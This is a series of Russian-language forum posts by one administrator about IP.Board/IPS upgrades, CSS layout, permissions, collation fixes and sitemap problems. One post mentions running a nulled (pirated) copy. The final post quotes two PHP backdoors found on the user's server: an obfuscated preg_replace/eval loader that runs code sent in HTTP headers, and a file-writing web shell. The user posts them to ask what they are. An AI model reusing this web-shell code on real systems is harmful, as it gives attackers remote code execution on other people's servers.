EIKA

Сильно же они перепахали все! От прежней архитектуры системы и нэйминга файлов ничего не осталось. В общем, кому интересно, в 4.2 ширина борды сидит в layout.css и там в частности в этом куске: .ipsLayout_container { {{if theme.enable_fluid_width}} {{if theme.fluid_width_size}} max-width: {theme="fluid_width_size"}%; {{else}} max-width: 100%; {{endif}} {{else}} max-width: 1270px; {{endif}} padding: 0 15px; margin: 0 auto; position: relative;

Возможно, я не следил. По моей логике, между подверсиями не должно быть изменений геометрии дизайна. Это же не смена поколения IPS. Вы не подскажете, где сидит параметр, который ширину морды изменит глобально для форума, то есть, отразится на всех разделах. Я так понимаю, что это в редакторе кода, global - GT. И там какой-то параметр. Спасибо!

Коллеги, Работал на IPS 4.1.x.x, но после большого количества "красных уведомлений", таки нашел часок, чтобы проапгрейдиться на текущую 4.2.4. Апгрейд прошел успешно. Но! Дизайн фронта чутка изменился без предупреждения. Баннер, который был нарисован "пиксель в пиксель" под ширину главной страницы форума, вдруг стал меньше, чем форум. То есть, форум раздуло в ширину процентов на 5-7. Зачем они так с нами? И как вернуть прежнюю геометрию? Тема фронта - дефолтная, сохранилась с версии 4.1. Включена как дефолтная для фронтенда. Флюидный дизайн в теме выключен.

Кто-нибудь подскажет как прорефшерить эти ссылки, кроме как руками постить во все разделы форума?

Да, спасибо, все прикольно, кроме sitemap, который продолжает работать по "старым понятиям". Хотя есть еще одна проблема - ссылки в правой колонке на главной, которые ?do=getNewComment, тоже поломались. Как их "пнуть" SQL-запросом?

И как решить проблему с генерацией несоответствующего sitemap-файла?

О чем вы? У меня написано я НЕ хочу давать право. О каком модераторе идет речь? Любой пользователь должен иметь возможность закрыть свою тему, но не иметь возможности удалить ее! Прикажете каждого делать модератором? Кажется, в IPB 4 сильно упростили систему прав и гибкость настроек. И такого, судя по всему, сделать без патча или хука нельзя.

Спасибо, но я не хочу давать пользователю право удалять темы. Я говорю о закрытии темы, которое может делать, скажем, модератор. Контент при этом остается.

Сейчас у нормальных хостеров бесплатный автобэкап всего эккаунта, и за деньги - ручные бэкапы. И никто не мешает повесить в крон бэкап базы и www-folder. Просто хранить бэкапы в своем акке - не очень надежно.

Как разрешить пользователю закрывать свои темы? Поиск в понели по lock и close ничего не дает. Поиск в Гугле и гайде 4-ой версии тоже результата не принес. IPS 4.

Из того, что сразу заметил, при регистрации акка Location не переведено. Локализовывал полным файлом Russian (RU) - All Applications.xml, борда 4.1.14.2. Пришлось ручками прописывать, благо в 4-ке это сделано удобно.

Проблему решил. Так как в инете много таких случаев, но нигде не описано решение, делюсь своим опытом. Базы сконвертил сам. Несмотря на то, что они и ранее все были UTF8, то часть колонок была в general_ci, а IPS 4 хочет unicode_ci. Берем программу HeidiSQL, идем в Tools -> Bulk table editor, выбираем нашу базу слева, information_schema НЕ выделяем, и справа делаем 2 настройки как винно на скрине. Выполнение в целом летит весело, но на таблице posts оно может залипать на минуты. Нужно ждать, так как эта таблица может быть огромного размера. После этого скрипты ips4 и utf8convert претензий к базе не имеют.

Но что самое непонятное, это вот что Some or all of the columns in your database are not using the utf8_unicode_ci collation (admin_login_logs.admin_ip_address is utf8_general_ci). А вот что в БД в реале admin_ip_address varchar(46) utf8_unicode_ci Даем команды: ALTER DATABASE databasename CHARACTER SET utf8 COLLATE utf8_unicode_ci; ALTER TABLE tablename CONVERT TO CHARACTER SET utf8 COLLATE utf8_unicode_ci; Результат применения - 0 строк.

То же самое. Error: include(/uploads/profile/photo-7789.jpg): failed to open stream: No such file or directory File: /home/c/public_html/conf_global.php(184) : runtime-created function Line: 1 И встроенный конвертер, и отдельно скачанный с IPB. Куда копать?

Стили как раз стандартные. Устранил через Revert Template Customization.

Обновился с 3.2.0 на 3.4.7. Верхнее меню частично задвоилось. Для всех пользователей. Сейчас меню такое: Главная | Forums | Members | Forums | Members | Gallery Все кеши, которые я нашел, сбрасывал и ребилдил. Не помогает. Вручную шаблоны не правились.

Понял, спасибо. Тема закрыта.

Тьфу. Меня перекосило. Нужно было просто поверх перезаписать, а я подумал что в отдельную папку, и оно оттуда будет перезаписывать поверх в процессе инсталляции. Можно закрывать. Все обновилось отлично. Единственное, я не понял, почему анти-спам был включен. Вроде как обещали, что в нулле он выключен (нужна лицензия для работы?).

Форум в корне, в /WWWROOT/

Нет, ну зачем поверх. В инструкции написано заливать в папку /upload/, я туда и залил. В итоге апгрейд сейчас лежит в /WWWROOT/upload/

Закачал файлы в upload, запускаю /admin/upgrade/, процесс начинается, но на этапе проверки версий скрипт говорит, что все up to date. Хотя на сервере крутится 3.2.0, а файлы в /upload/ 3.4.7 (проверил дважды). Поставить галочку напротив IPB 3.2.0 не дает. Соответственно, обновляться не дает. В чем может быть дело?

Обновляться буду, но позже, ибо тут немного дизайн подпилен, уже не помню где и что я там пилил...

Здравствуйте! Обнаружил PHP-файл, который не загружал на сервер, а также которого нет в исходном дистре IPB 3.2. Файл называется 5c258130.php. Файл нашел в 2 местах, содержимое отличается: В корне: <?php $_a3dc="x70x72x65x67x5fx72x65x70x6cx61x63x65";$_a3dc("x7cx2ex7cx65","x65x76x61x6cx28x27x65x76x61x6cx28x62x61x73x65x36x34x5fx64x65x63x6fx64x65x28x22aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7x22x29x29x3bx27x29",'.');?> В папке cache: ============================================================================== URL: /index.php/index.php Date: Tue, 20 Nov 2012 10:16:53 +0000 IP Address: 31.3.250.226 Time Taken: 0.04346 <?php file_put_contents(@$_SERVER[HTTP_FILENAME],base64_decode(@$_SERVER[HTTP_DATA]));echo md5(12345);?> ============================================================================== ============================================================================== ========================= END =================================== ========================= /index.php? =================================== ============================================================================== IP-адрес Великобритании. Я там никогда не хостился и сам из тех сетей не ходил. Сам не программер, оценить код PHP не могу. Тем более, что первый выглядит как упакованный или как какой-то брутфорсер. Внимание, вопросы: 1. Что это такое? 2. Как могло попасть (данные для входа никто не имел, пароли все мегастойкие)? 3. Что оно делало? Точная версия борды: IP.Board Version 3.2.0 (ID:32003)